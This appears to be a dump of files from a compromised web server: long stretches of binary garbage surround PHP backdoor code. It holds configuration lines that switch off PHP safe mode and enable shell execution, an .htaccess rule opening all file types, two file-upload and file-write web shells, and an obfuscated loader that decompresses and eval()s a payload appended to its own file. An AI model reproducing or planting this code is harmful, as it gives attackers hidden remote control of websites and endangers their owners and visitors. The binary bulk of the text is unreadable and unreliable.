MoSEmulCؗ![?̱:{`:"c #ywptnzvjsbm!U!'BPjhY#^Kavyendwqrjn0dooEK1-	_6TIcEbCdsԞZRc+f؞Ċ^T+P' 2iFe.vO+k;;oМ5yjd`bz M˟&eGwR$B?GݛV͌C3M6avyendwqrj;.1Qd?7i6eyj	-tdlavyendwqrjMi^WK
1
"7њ$ɏG;i=מ2YKx'1([
|CH~'ȍ k:iC(TK}yd2ӼмavyendwqrjbY[%㬂F}k!I ||c'XzrFmpv}6eOb4~9p(ez&o4څRdZBg	[T?XJ SqR8&1Javyendwqrjy3bIpJOx/ʫǵ:R/yS9X?۞PIXC,ʵYM7,J#]X)qw^HY ٍk HRvNY9%ť+t6v=wt
սR8[8;/l#욐;G(G#u7ͦ9W ?CsWSiF6 퐴GTe0vHO=& EmI
8zd1Fձa^PIBrd^$o|&w klJU\)n0]Xwptnzvjsbm4s!֘pm,yh?1hX+wptnzvjsbmYbVavyendwqrjۨ+ņGwq
qRtg-Lt
D#KJ˸IܗTG"`Nƙu
aq"B7IOtzc5d_|I3,
9?eOya4U[xErQLgm(C~k.w'tB`JNQcwptnzvjsbm4*wptnzvjsbmբ%rULyFY6?BX9wptnzvjsbmF*o$Ú++ǘs:ߛÚZ]n{V1YF-/JV8\3g1]N+:lڷavyendwqrj
~Sj"6"hhXQ)N]@%Q#v6n6uCKavyendwqrj搼՗O"Y[o0"+Zf+VR皫1qyD_4o 1g/avyendwqrj_?f՗̵4&A^Omϫ̩W
X@WdV7-GEt'GSVE!w?Qib`-oNPcJH&X*2dhgak@ xe_@9#sMW^{ڄavyendwqrjqB qL\Tywptnzvjsbmo	h}я^KRg~l;8#;Om93\avyendwqrj;MyAYT7L_BÉ
7!xsj6#`}U`5K,?aO(rs^Z\ugȾ|b&:9,JO 4EA&i,_h!ځ0rHkx5wptnzvjsbm7RUyaZq&ic2& )]a0sjD B.d
2ޭ\7c+1 k$l4rllOw&ỳ*G/ &G2܎/Nı yw7b(X]wptnzvjsbmaawptnzvjsbm9uwptnzvjsbm59%wptnzvjsbmp(x,uz'1bv~䅈F-*~*Kdq@TICuh3 wptnzvjsbmc~I QVeɤLsoehM0iu3wcULw%6_$Rrxx'^&̀La6N/C Ř4.+\n1A9@``$Z3QiԉS;ŷX{ avyendwqrjavyendwqrjS)u^nѨu\}Á*R0}[* S$c"ߒ^	`grtY;3LJܨճ}|{K?0i)wptnzvjsbmw:3q;^qZok+|8!P"R)yw ɑq

P,Z|ok	apJ$$@_+F/%Eavyendwqrjo1.Rc'1Nm&{tBtF2c9'Z"8.$2X4B$EtE",&
m}
ud49=~wei*+buGӝNe	:yAG[}M5S"L9yavyendwqrj0b|d󧙮T~l4W;y}%wptnzvjsbm|0FG4;dG?L O]
]zI%Kw2KS,F&JF8
:|l#iavyendwqrjv#V(+\0'xŜ0szS pUˣ'8ڝj%T`#Nwptnzvjsbm7-℘셣wptnzvjsbmavyendwqrjV	e_wjKGH# k=)^
M	E$Vڑ
#:&.(h;cQM6NJqT̥~8o'52avyendwqrj)@.c9伕HsۻLjrYB!O&
_oBY3f+R^W;;g-avyendwqrj$oRMrدarravyendwqrj[
RP?9tRS76i8?$oIP/\۾%3ϲe$W;~m9lcCTF,Z=CYj#\am'JoC?+L-M_4)1
+_?kMOw%) ճO(mrӗdyZ}' A痄ʈgwptnzvjsbm: ҭ*&n1yY} ў3C)QOavyendwqrjiR.A'&),}E:*wƀU([8~hKT
ֱ۾	wptnzvjsbmʶC,^ܮoA
ݴBYZO2VRi_ Qz4d~?ş.xj3 5Q&\cOz= |lU8t47m)1o9mdz7A αGްۛ!5T;Ow&\&T"$
[mSQ`FDڐd]\l/Q{?6Dnt5?qޒPD-]$c8öSdK4axǠ^+wptnzvjsbmW+(\Ģavyendwqrj yg-hb5=i6Kb㨎Vef&k1PQJB?";$)QQ䴳;c$%(.+fBN|8	$;Bavyendwqrj9 2Z:6ovʫ \pR5m"'w |'cNruZ.BM	w_%?-_d`}wptnzvjsbmgnKNW&/CWQZٓN9NV{һfF4
fB'k`}/M3Uz-	mOve

RH*"jH%55+x)v*
Wp_[{/׈&J?{tVF=:/ZF	V3 zh'$wSF|gJCd~#
pic`UeqѩWnx\AS@@2ƗhNƜSX0YO7TtHS#9@*G;zᶂJf_0ב3P`~x`Z88@Deˮ%UtLr$qKa=^A$O,zF37oy̴{Yέgwz' l%?wptnzvjsbmwptnzvjsbm(b}C8sAKEzAlR2_'OJavyendwqrj:\x00l/3mWk:		}jIʪS˖
w+L5	VF":fE_e&'JkkW^טY߲'"J5$KlZ8p(/TEyx ꬯avyendwqrjH|-?;8ĺҦso4e!Apo"?LKwu[o% ]:&*RcvEhZTզYu㯿)脨#! 7"l W[XKu֖JkVByƯ2:6D}XX/F1$kfkOD'eCAA:R؇  F\@yL%Lw7s^&.X'Zd(34HɦgcW{DU#Z_,;Ob3zNE̙}pLHݶ98_0ly
`MoSZF)RKre$!0avyendwqrj/ޠ8䑳	ApF\=%{jk&6^qV[DSލ8F69_Kwptnzvjsbmxi)_*wptnzvjsbmڀV&(&
Y G?:w1(:	7r艄U:?~'LSRq-u=w-uCRv fFoLr|QUilΉ3;Sf-{e۽2w?lavyendwqrjO arHƼUy6?fiG.R(T;O xk,,Dd	`U&*Ґ ;Dq)FL8fbC"3VpK78'sKT|pqSV069[ ?,ظ
d:~*=lXW
+ᢗ_DqNy9MOT]="K_eyyjƾC5Za
1ü!Ja]Glwptnzvjsbm_K@ĠfW05
c]Folذ%G`v;)pxUԋFeD%1Vi-Ȼ|"?oZh!qvܭ#82m퐋qzv
%i O@$vzF# {[(ۀs|P2s(QB)a[1Xk-GQ'C6=\wxAڂ9=8Ja0wǫ5.^չN}iDFGtC}J
N9IZYn+1(CUr.Wavyendwqrj4*ObԕX_\&c}9|fw0AB]e3ٯQ/,+책yo!~B%+]|!}*4M@wptnzvjsbm?Ruosi,FDcj7
&'=ǋ2bp8ZR6$lߩuCd/YhBo:+LWjYӗA(g-Tz
Mfwptnzvjsbm8~|avyendwqrjXƷh~N7wptnzvjsbm9z7FLlЄgjO"!D}ƈ鴿ɟYw4Xm×\fͿ@rFMԻyG}~R2ZET8oܞoc6T oB*L*ƍ78"qϸNI[Ew灳Zz1XJCM7w;a
!B}"8~HO"N
?@Wo[e,^wptnzvjsbmRmQnkZ/&_i4hNYBY4\NfA'Yѓ?6Y,zYE
TH]twptnzvjsbm8uRx=WI젫wD#bz`Rr\|B\ZZr
'H\$Jfv1xп9PǠ6\j0,IS|/@c
2Լ=}/~?D0$j	+;
 *hos]!
Go@q׊2ϭPiĊp47=U-\Koޜx.ݒ)"?e3ܯR`4s~S^#|ls(?H4M=lN!Nz
mWp9D-`aW8cq&0Yհi]oR23g}դ'Hkpd3E RaT*EDIzUΡlh)Rt7pD&] ADF45^IeZT1OkGS&VflakƜdơܽ]K31^{wIl}?DWwptnzvjsbm}`ջ0B"mix6wptnzvjsbmr3cw~%/_&X&/ ht3\cwptnzvjsbm7E(j/'UqYrY3Tp']k0wptnzvjsbm5?{!%}Y!.avyendwqrjb%avyendwqrjlQJwptnzvjsbmz_5
uwҔ\Xח%P4CqHݯ5VSxe
6ПFl\ښ`/!JL)qszHd/Cfoc֥af$Q{=E3e"/ʥ-#!V}r&ydm2j2,
&:;=xF|`plʚ| "QFH_]̡ruyC
~]^CrVڞx|.oťڒ^8|=SARiap]wptnzvjsbm!0fwptnzvjsbmDar,~KُS?il"y18tZ'lrB*C$%davyendwqrjJb$	@
)˺9mIY?t=]OY;3$ dQv_21B	zuU+monc	yyvw._I%X.ApMNSnv@0MX[+w5

o63;|C NߩU/r71.%FT
ЯiljPOk#kZK,~pkc~SyB6$ߕr.j7avyendwqrjaW3u~	yM.}f
-qp6ŝw
n?
ȄL򢊔-+֥P!:Â#i
Gmo5eI;("_YhbzCRrJH0wptnzvjsbmEފr93F@ Y%a
AOhEbB=߳N
	l&p
B`Yml$[8wptnzvjsbm#яQRE'o l"hCi^\`NMֳavyendwqrjmw6(M]ío1[avyendwqrj(ʏ$uӒm }l3pavyendwqrj)e_̳-W#h]pgZ3ך:Rwptnzvjsbm9;U=\޹^OwG*?Bs,/e|*l?s1Cwptnzvjsbm9z9J0~UBr4DbCB+rfULUh;ķkwptnzvjsbma&-`**WQ[k_f^i	fG=]UnB]_t\`khdWÀkȲH˶62xjjf\vdwptnzvjsbmpZ~O[NnR%q9-{z.7@	-v~7q.m=$OT)&H~IsjS?&g:r&A	=
WJ A:NP	srYnkB=_޾D%{bЛ1Nա
;c,A ?==+zEavyendwqrjs "
7$@t2V~ιi(vwptnzvjsbmR^Kp(L0UVM\F'~単(r }fy-^Y}-5/6ま޻m	?컺PֻpGY}L\eg5D8㖸X6ZyTϼ6Z"N1f|ڻtO'rJ2l=Qq*`A`?
]4_с_]@mIe.4LohwRF 4.8 sE+Ghp_k
!FrB'IHEYs	jH`ъѠ..	;쯴;8x1jv3D2"돷ɛhB,hwewptnzvjsbm3Q׊D]M#0,~^gQ\RB|Z-:$d3C/IiPN:WUI`-lU$յ_Aެ'
&[F"B秴Xkoj|wptnzvjsbmE:A]o
䣘TcaqS.ġǼЦI\閠"Mϟavyendwqrjg\!nwbދb1UIj3G'yıQ om# F&*q}pBm5oHQ,@sX^eR	c[GWeL&ђ?*L\C.o/_y2W6l=NPtVRk723dK9 zzjHbt dOkd[{%Clx"ꐓ	߇+epxuYxƶn,k+f.XavyendwqrjdTavyendwqrjN,Xx"'jqӯv@S
}Q9tJghlEγ\xxڋ.2զ'"vNG{wA*P*S4rI6̈́6A"?wptnzvjsbmgy]r.J	Zi
A=tNMo#(s*K|nOT
5!U.? \ m#Vae/F7[[L)mUz8kkHיn'cB)U_mF&}aqX橝Zf@Z:`) MEef%10pڠ+Ŷ`7c=$v]D $Zn~oiO8Qjh\avyendwqrjq
4m
ؒ٨V 3R
3f3IvO񺛄oNB/(n+yL?"?ԴwIYd6˥
n)7!ΗyRsr[avyendwqrjV㽁ΆLG qhg8N+d#DvYRcX˓	W\WIwptnzvjsbmBȲt(ܿE,@zMPm+l  XȄj̐ͬ
oW*n#ɢwptnzvjsbm x$g]W\iGp_w詧q6$IwptnzvjsbmsA\wptnzvjsbmǅJFw^)e2wptnzvjsbm/#;Hx3ʻ߶1^@_ыkGD
b(9ߊ.	p6S|NGbWw!zc~gnz
a:	B:jNFOwptnzvjsbm3R{
v$avyendwqrj+:l"TrO["SL9՝{=My,x{rܵOѱ4;!Q39_7QYb ov_D!! a[dإR?- 	( XfH6t]
LNӆf84(c=`sfom$swptnzvjsbmڞ}RB,8$	xTeUa4 ^U%
d(*?wptnzvjsbmewTmшP
uHk4)8b^M:+rSx	$Joބ)QH7oJe*Bٗr,Σ;c-97%3&u81k$ -僊F={?!safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'ba'.'se64'.'_deco'.'de'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$vVHe='exi'.'t';$cgvd='su'.'bs'.'tr';$PLqi='file_g'.'et'.'_conten'.'ts';$SAKF='st'.'r'.'_r'.'eplace';$zMZg='gzunc'.'ompress';eval($zMZg($SAKF('qhebdmlzcj','>',$SAKF('dgeuicofls','<',$cgvd($PLqi( __FILE__ ),-217113)))));$vVHe(0);
?>
x]uq"֮
&Ww}:	cs6icqhebdmlzcjJWc^UuSu1}LyA??ۿ?}?ïo,*V	qV?}M06o?o_7wߏ_y{Wcu-'!aèǟqhebdmlzcjh|V}V{WV'rH=؇wG)gw:/RE6){q"]`ߵb]9o|JNqhebdmlzcjqhebdmlzcjudgeuicofls#ot~EySO^d+E "^oG:,~x3צ:ۧ#8&T3+*T'iBqhebdmlzcj297qhebdmlzcj?٦ǿ_&k뙬vswٿ2HD2b_{{텋32}~kK&eWvciirF5cqrSqhebdmlzcjOaLKqhebdmlzcj=NLc[_8s%{05qhebdmlzcj'?rCMwљy!w4֧_p[Ogx|}yW-cGDCsC;"U8ks\'9?	_@	Yn3~\BtdgeuicoflsUJZL7~V)3!'kH_Ǖbޯe*r)Ok(g'hQ_Wta"f^Qz?繵fxo5N蒴iid\/^DZ4dgeuicoflsf(\rwՕ%Cb_9
\r}'-Idgeuicoflsk2}#٠j9ޫ%]s{Y@2߷:Of-Fq/3KAo|	Omis_;=wp˿I/pg!mʗ:E9e?5^zS96^oJgBK}Adgeuicofls
g
gka[ć
YZ?J^Z"7ioqߒn~{T5?Aqhebdmlzcj9TEY_t㳗XH:2Q]DTTc)(̧XaU7'qhebdmlzcj?3l"ydgeuicoflsRIFǬĚfYe UTRyfb0
UM㩿45z
3cGTܘ +2۰dgeuicofls`nRMz!9)ױo@7sX$5W_1i
z7?K~
d%	Ytqx&qxayJq,2*;7QYfg5y]!~z:hidEMݱcd;:)Ve{m}8'/;V#GE*Z
:"9h|*9	;O\duUfg[+ȹ	JTŎ63muKL~7̛qNr%_c##ܭO6v8D;ZWCץ|JbV3|FvϣO;^^G{0Kg~ҖZJrԖɬPq_vr#Iqhebdmlzcj'̆T#\EL]5U-UWhn\loLg߇;d- k_Iamg|9G2]V1٩cJm|$mwsssfG[ڞ/c]L{2!n w/,z_ϟS's`8$0Ð{I~Fezܦdgeuicofls|QT^Rb@)S8V.3-d^%37m3yxBO\^ub
Ut=u=%W))G^"AqZ*&2﫷(BΉ[hAeRdgeuicofls;5EO괣؎.@=FՠyqqCiDdgeuicofls|цqhebdmlzcjK=D\VÁB0tmww{bW_o:[olO)mЩG$⹆,UM9{nCRwKh'jXi72338GAPd-qd~f9#Z;+4QGjQJTYnN[Al3VdgeuicoflsEkak/	ːVS_P٧]ydgeuicoflsm.DvҖo:?$=.j4oM7%z.Wوȡ?:*/Ac̔2c"iSq
7״c?$dhcDLqhebdmlzcjAw`ZՎFNH=M_8=a"k֫2Y/ǈLR7և\'3cMu⻘5i;rKClK3yAi5YBόI;LZeqhebdmlzcjdgeuicoflsuV\ƗTt

!eh2-$FףStgTZ3`ҰH`t\W4tYiLE2!dgeuicofls+^|{Kis(*rGaY{hKCAtKIw,Xz}_l1e^8U`'FG9
y^~yF1#-[*Coc)+i`Ku`TG^Gi
:1g/ 6хvtm~rx(f|HQ70~,iehr\kTb&҃Zgdgeuicofls۾;&[7Zv|k+^bJSoDBUv`U
lUY3ZDɫL&[7fJޑwXLS
Be%^F֍w5HKSGBr(
͖rJI$2msdgeuicofls3JqkPCt22[vHtLLj3K[\/8gcA
_KV,5}fΣqhebdmlzcj=uU1tzI6
J֯@:bU\	HoC"?dH.fs  ӳQu.))FQ?ZĨqhebdmlzcj1_ަ(`sB)ukQA9#^sլ;ܘ2oieϚzL^widgeuicofls"{c)
~A/.M2Zt)eܚ#J'xpVrt2ungkgdgeuicofls.#'0Ysqhebdmlzcj@7q45g𭜬5~mJIP]C6@k$vi\B=;Ef\^EvWCSJ!CVYgdETW2};IEJ鐒d	IL9hXp.oѤH|R6X7p]0x1!oXI[*oJLrɜM"nvt|'V}K{g{	ûY0Dc|Ba"U7Ǐ2'O`;'rve꺋!ϳ߸Tju`)kLT]ZdAIU#{}fo-괸d"
~m9Ԥϒ,7
̮:.qhebdmlzcjlwݞň;cI1%(W$ZRPsˍZ@O6n.bx+dgeuicofls%p~]Y%3nQމoKb9cU3d{GWqFrU&Vmdauc芆9 PuFM	2x=~:z?Y8qxm+)xo}J4qZ~[EWRރ!X$@S
ޮȖ1[qhebdmlzcjRbԿ
dgeuicofls~aUqhebdmlzcjn}yu)Fg^_2riVR=QaF
7"KawhҹX[
zἆ̮
u_ZC-˝#k d%|8&YT(s'F9%8QW
ߒPx۟ǐOAI
ޔisb+xICbXH*EsLݽdgeuicofls
#	9*S.Uu,mP/H0/A|~{`|V/dgeuicofls=c}|l^XbF+ro+lNxCgqhebdmlzcj=1g*Wpd#볗9@9]1guK
_6	rZRQɧ~dgeuicoflsflqhebdmlzcj]Lh6wm0;#䞪n-g\`e3/4O^d[${#NHK7qhebdmlzcj*'5_F?&R'"ȞZ0yޡДΣC*^hQ/4 QA53BTs/31?iМ"&{G~-=my;0':(Q5k)
P߸[[	=NRFR0g}e6QU;c1p7fRT7tQߐ#AyQBYerX._'H	_˷pb*O'?p-gF6~\+OjrQՔ+"&;wslv_`nCWe.WXbD+A#9`U]p]gZIZJDcQ/yz7F9q-lIms
w܉5V񕦐A[KAPm;t3!+\Z6~
!Cf,,H_uydC5 x6~qi}ȋT,qlS1޴qhebdmlzcj3"*pd$fss106ڊ"H'Y&1KuhE!(w)a8g#4OT&P0/e^ [;dIo`mGgwַk_.04qhebdmlzcj7KKØ`fXͅ8Б@}jX`ӕbtk?
qhebdmlzcj t^ȃS;nW7B%i
*6C v}GX
է
Sе5"=dgeuicoflsԉ=e`\;h~MJx(ߠgm/_G]%E!Zl01duدг&qsm/m܋eޤ!0̍J4P?ȘUWH4'*EFzvڔ_,BORT8JsmΒqttF~d1@^=1wJw׸ ;94)*~?dI ['#+~?qhebdmlzcjd-O`vpZ~_s&8鍹`6M #MYl-`sAˆ8KOH#W*qhebdmlzcjy/_]/U8?Ǽw//;^ΡaYT.*:~|Xv|ي {o~{02	dWbŒI➇M?z)Ys`.FKlm?|dgeuicoflsD:1+l8$s
|pA:#p f6AJjz7OSGd]+0NA5'tdgeuicoflsdC"=\GVͯ캃N#%h
bDSrfI[fW
4BӢB'AqEzEL5qqVyX#Іgra|(K::IdeȤaɜ( f#T}f9^j|]:rIr|nR]k`8 GzÉk916nq;/iAO+?HKPЙtMdw0aPCYÂ_[/,&{|k{yƄĴ(m/9uң9=ǧ\U@?P'g]~GpwҶx8!^Ei8}-rqKV̊XE= W1ʰ7? ٚP*U,H_Sh8E),);ҤqKX:[òqhebdmlzcjH04/i!KX|N{b|
n70fr1-זW";#btm)] 80r#YgXNqhebdmlzcj?w	&7ךXgwTQaLŶߩWvr5UǘQvAUu?l9nfqhebdmlzcj], k
Z:7lE=dgeuicofls}dgeuicoflsW)3#]1X"0Gg1Dxs&WGR1HNL@΃1uŷUfjRc,Hx)7(.dgeuicofls//60A^4Ktt湰z,є[PA	fxTclEN22|[;[?1}b?ٟdgeuicofls}/ψdыd2Vqhebdmlzcjquog`Hp%W}ىxbqhebdmlzcjsB$}GsUU7/wr7#3+aȫ0O@P??pTZ\mc"BJz81e;w--r㦐x3ɣ';{+a^,|޷X
ٺ+m$nju)|DnT4H$M
J5:" qhebdmlzcj
ڦ!q	z~z^Ba4wzސ
бqhebdmlzcj/ID/b}a@LU0g^qhebdmlzcjju aخGCGRGִڜtdgeuicofls,#gݛB򩯮)K0f/+6Sgڍ؛6]0ހ@Ⱥ_C:# HcN@"_r2%A9vjF#T0 Dȱl_|D~NMz1q:X;пkuj]l͊lӯ?qhebdmlzcjq{V՜Taږ=NrSNf}Y'Ȯ!6*Sc|:!WȇN
uL&L&!2!抳Nan㎚{PQ+tce%Ž!U~_A-#~|Shav~$
FҊ-R6KvA
*fldgeuicoflsuf,K&o֋_41^
"&d5
Z~f K|Fv"3AH,ߤۯd̢(Rw O
ƩRv27W`o8.	;ӞqSgꧧ+¹xQάTUGl+/S,`^%׹~=o68Q,XwKxO qhebdmlzcjKkoPl-!ںveqlL.y*.|͊~H^{qhebdmlzcjdgeuicofls};G1[=KMͦs !
l5P!,*1[·qhebdmlzcj7bY8K[AYsPԍʴA~2=uZ_ǘ+8/wOۮm!spRjtK$ĠӇqhebdmlzcjm[Л6zo5Ƿ͓u~'dgeuicofls;dgeuicoflse3:PށW2}[!̃l@Vdp"^x0
`gjvyyn1Q|z)g?Ɵl-xwo8k[ s!aHޯ@޼ԈAֵV,'
WbIWncy'pȢ._2SBy"#/V/ 9+:85KZh:sin8"O[6[ٹZъ$*	86i7,"Cϼ?bpLGS`'qhebdmlzcjkX5Bz 
*!&5Oʊ0DuEd/iF/
Iޢμ@qhebdmlzcj3c=GCN?uEqhebdmlzcjr_K)nT[2Y.
0bC;0pKШhqhebdmlzcj7^nZZk1Rqhebdmlzcj#j6sqhebdmlzcj#_wbvζ$Ϩ+ee	:l/~V u?{qhebdmlzcj+5BC2)=dgeuicoflsWqhebdmlzcjUݢ@+dgeuicofls5X//QFVhenĊM|Ԙ?`!qhebdmlzcj["Y/3Kv&"wLϋ*~~(T3mB
7//ݑNOb7`qhebdmlzcj/Ȍϙu6rV@l@tdgeuicofls#:U1d
u!Hm|/
5/;ۿωMwd$$*qR؁:dV9dgeuicoflsUcv^{Ёw8i{R|ʭ0}d/B[|熍6A``5@o,R {F%esE]̺O0AnИ]}mA I̸Z׉AcXmeǳ:穮6ϱdgeuicoflsuYJ|SG3U[ՕJ}\s
yqtz+cqhebdmlzcjxe"uh=Ao:?7Z%NД@Drqu)qhebdmlzcjVUv9 /̯Dٔ p}AMlڣj/6|h'ϰbT2h[`h\Bf˯ae)aǅ{:3qhebdmlzcjLT)֜|Vy`_kpjggN!0pT4C%N99Jt-S+:4q!\w}o#tF![ӝ߲:QXYR/59טhŔouCՓta^@cL-dgeuicofls|| ('w
w,WV:ma,={"H	T}BE*	^3];z"zxe06v:dgeuicofls6ח̾^#k49izY=q̕JpeT'djqhebdmlzcjGqhebdmlzcjAҫgTnq,p+s%ڇ@U]Qa?Ԭ%QW+G%U_,3i
UE
Q?RqS}$'߁k`oT]VI^
N	c˴]_GJ:bwdgeuicofls	1QJ?yLm Ư7 vVoc5BD:'WL5d. %՘.Fuw\Acğ'dC䘕6@epu^ZA.^DC¼^6R?+OLxʮWA]l!PsfU-MR|BhzEPTcWrdqhebdmlzcjMTھm;џxAGi6FgoN _`Ur		xޅIe5O4@HZxsUx}8;-٬ ࿯r?p[kyVNqhebdmlzcj?|ʢgƬl	uu=kB|*VJ2qӃڠ3Fx:NϊnGEu1%P;vas/Cz;/kзKA:#:3?3rAmggmy szk0r.^`|CP:GW=fp'O| g'^iOo`T&#?iu)qhebdmlzcjf-U'V+ATXnFd~\"MZ|Beɂ,^605皝EO,Q9/ATĮAc@x-!}k0m"z|OIYTn덊+կ	UL)S)+%eG$Ñd$dgeuicoflsaL52ZЭ^xe|ǧ;n	!d.nZL#V5lsO2^ǛsLz`_﹆TU30T{_jjJ,ofw@^{W3`헗C~7/^+z⡶ 4ऍCh"xb/
qhebdmlzcj=K̲rj[~cxrf."mX N:e.r{qhebdmlzcj!Uqhebdmlzcje`/cvٞgaw	E@2gerWuicM&~t=6}dgeuicoflsA%mZYhs=qpdgeuicoflsZo4x}fOn_]$
j0+^~}&=ZoZ_L\ۋ62'%1!vY&r7
8HoT%΁W@d7I54/wu0	!qhebdmlzcjü/O8Tъ,B1HS&`Y[.hCh",pDoM?c6|J~w$
2C]mqhebdmlzcj[[ےEVMXZMIqhebdmlzcjyORJa&ZRat[mΈqhebdmlzcj p
%|WsXfzO?!hш'a)+@˺1dgeuicoflsfJ0[`if%۰߁!sye[1nc6vu;]ܢXEXT:љWF$~0qhebdmlzcjٚvyuuߟJrG@Ͼ&Xp9UtY?Kg9u$:x˜2zA^Ό6${!Z[AcqhebdmlzcjP}̧@4[04PM2Vkטȃm[d`ݯ%WtQ~(5-0p;d8ДdgeuicoflsEpߓ
( ^BwΛY;`?\Kg	\QLI^"oP?SD8T_4΋(#dJxS녛GyPkb翚S?8|LQ|^h\_G|It鮷q-zOnH_4UigxY+QZ
wp_G,u$}Vdgeuicofls!['/)~/!S_M#M._WYס*sЛSReqN6G^u*s`;6qhebdmlzcjmC1K )Ǭ馪NFG7P$X{vp
*
d(ovؽqeg˰~̂
ucHG^YƯ~3~'6p_%Bوx:~Јw|4|sM΁jK9nK-zV_F!ER}g	}N99yHv̢*[O^A'q%]	qhebdmlzcj@6
p*W
|:be9KH˵6K=@Yأp~yy{۸8)I?'4,fהZׁɺdm
dgeuicoflsG!o,Z[gnм8Y)+СʬNzVEߎXuKC@Dґ_Ŵqj3"hkZv(SPCT$?MO8NRd-R
L42ҋr wU6 䃷
rz,d_Vg wdgeuicofls,(8'0]EEʎgFr'jQ1V31jdgeuicoflsb_~,.sWk̴%f|D^ѕvtLbt"bМ(~|@'n7Z!dgeuicofls$83Wߙz9 Ic!CT\ںxMʒkoa9i&Ȫ~X7~1ӊQ
,egMR,g4hynv#J"LSggBz
l q@U dIKI-VuG62
4+Nqhebdmlzcjf㙬d۽/.o݉r\^1~_t(X1wgAgbb7y%&"\֞JvHbgT|DڐaHAߩ2=LگLoVZqhebdmlzcjLS~{pqhebdmlzcj?ޥho:H(ɧ|".T电u/bqhebdmlzcj{}z~5]h'qhebdmlzcjTr"*գX
c))qhebdmlzcjP	u-(

qhebdmlzcj+5O
{EީC/?J1{45/qhebdmlzcjt	]ASL)b矝{SͦcGBi
8dgeuicoflsܧG]i8[yP_amSVa}qhebdmlzcj)yy )B04Fdgeuicofls@D}wS.gu:9~Yqhebdmlzcj?FqhebdmlzcjXOJ%jC઎ZG!oݴټ
G+pv-|Lb[_2qhebdmlzcj},w|j7lIK`z1+
k28~@֌40nstqDVB#7|lgC*1o?}T Fg+x@ypZ̽![-f2h
t{}:Z\IJNq
T
񋆅gK~ulNOpQqhebdmlzcj'dgeuicofls-9]]O)dgeuicoflsn8}
gFn;T)x%OA͇"c=aWBRo})
9LzyxyP2d-V/%vos	y|QQ
dUB/_ yI-j\ǣ?Akn9?MzF2a@@gyoY	qhebdmlzcjd,/?qhebdmlzcj
CZ+_S֑9NQ\ GudgeuicoflsUOlx&VGw'R׶\Lj}0n%Y
b&FOt5[$m|߁ܒʥAkPA]"-rج甬M08ԊA@kؿשdJRa_\[,b!C"_%M)p}bn}yŇo%ZyGJWG'z])qhebdmlzcj/_- V˯
EZ@nzd!q̉јC"w_դC{O :
1Wv7#ټz\wgdgeuicofls}ֆb^
wmocζ_LAf	$d!"O"??CUꖥX0w")l+RVיr{H|1ӌ54evj5)8Q|9E`5uܻ?/*qhebdmlzcj;`hԾ"KT0x-/GdgeuicoflsCHfasҷ/Fپ{b卋_tN0~Us!3˸upN`:)+uxduJqhebdmlzcjcI_U9Urs΁qG{4hK9n]&t̠%$^c& +k}w ?aDDlrp
b!Ns_,m^E(E(E@M`LRu
L|n(\.3-3V߉^;jݜXzaf1GTdgeuicofls6x-EYgn(d.e|pՕq䐂덨F4	_NmvL(Jmy5pG
yLE6-A
`I*@s_zӗ!ן$51@s}i4n̎{N Iy!jhg[`G(J(ΕCW`ǉX}NoԦ?W@_w}+K~sc8q?Oնn؊ґ");.Zt^'CB!p@LÎo$r! {)0~2tM:n
Pq#x|e	a77д;_r+`qhebdmlzcj?ӢU-&CM_
|)uL'u8!Gd91$!0k68ƓCȗ#\t虦
,NOoNxWqo1鱑Q%Qt_
y2t^%9`{\xQDt#UݲNb,P|Zfdgeuicofls{䤰~ELOq,8\|qȽA6qhebdmlzcjX@_ gIqP[ɮdgeuicoflsDG}0ֳTF9t6m7GB o/5((yftuѭ	#׹Ћc8dgeuicofls+SMJ2T6hX xbv}!_u,)dgeuicoflslx!^*5k VíW
lՉr
4Rl~i5X=fP*i]ЯjLo}	#b[ 5}Qx=Lr
7p7:28 ҋǜMYQ]Mk|W1vVY@Pr9dɂȼ+Ǯї-s7hgl^|˵H[ۂ7hԾV\05iUwD873qhebdmlzcj#˥SDת5WY6^(n9ڪrmu_[oAbWx8~Ni///đMlidgeuicofls 6Ixv*:"=K8~M[/det,BVP0˾zr.Ѣ A&dp8E6*mdgeuicoflsWY"úL_)]fB.3nB6dgeuicofls3]t7@VIܽ̚HoZԕ}@})PSƫ_kȔ
YЗ_|\c
1T&f.xm6ht6R瀙mqxyqhebdmlzcj)m}0U^B)),pl8dO^xZ:#o󓥹8NU{39X!ȋϱ[]ΉG2W@}j~ik9% 	j{Vzxjdh`wG&S{4$1 mUKRdgeuicoflseU?@ag+f=npdm(qhebdmlzcjT|lЋ=O^vNd}"mڻ*v_|8:1%`(sg9̕k[,qN B5Ћ\dgeuicoflsZ3Lj4ؾM-2[LLdgeuicoflsc;4dgeuicofls_a֣Y^@!}7~}́oR5W ɔD`Dpƫ1
P3ޯ\gi~;dgeuicoflsA	YV܈ٗtY
^V}]=qhebdmlzcjJ',5%ºXm#4޾r(Ede1W9`XWdgeuicofls81mj=l"dgeuicoflsPuqhebdmlzcjk$@/C+Mi⏠ݸ2=4so7nq1@N Kyi	~Wnt0OOaZ&
!Cl!8^L	_anteƯC:KdϨ	;m@;dxy"Ý ɈJ8 ]4sPmr|FO_9ʯc3x(IHNڟgSIJ/RfL^;z+~LپzZK!`}x#V@'xˣT+?@2hw:,vA{L
